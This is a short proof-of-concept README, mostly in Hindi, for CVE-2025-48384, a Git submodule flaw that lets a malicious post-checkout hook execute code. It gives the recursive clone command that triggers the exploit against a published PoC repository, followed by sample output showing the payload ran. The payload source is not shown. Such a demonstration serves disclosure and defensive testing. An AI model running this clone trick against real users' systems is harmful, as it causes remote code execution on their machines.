
CVE-2025-48384 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, एक Git सबमॉड्यूल भेद्यता जो दुर्भावनापूर्ण post-checkout हुक के माध्यम से रिमोट कोड निष्पादन की ओर ले जाती है।
देखें CVE-2025-48384
चलाने के लिए:
git -c protocol.file.allow=always clone --recurse-submodules [email protected]:liamg/CVE-2025-48384.git
उदाहरण आउटपुट:
git -c protocol.file.allow=always clone --recurse-submodules CVE-2025-48384 test
Cloning into 'test'...
done.
'ubmodule 'sub' ([email protected]:liamg/CVE-2025-48384-submodule.git) registered for path 'sub
'...ing into '/Users/liamg/test/sub
remote: Enumerating objects: 5, done.
remote: Counting objects: 100% (5/5), done.
remote: Compressing objects: 100% (2/2), done.
remote: Total 5 (delta 0), reused 5 (delta 0), pack-reused 0 (from 0)
Receiving objects: 100% (5/5), done.
Uh-oh, this is an RCE!
निष्पादित पेलोड यहाँ है।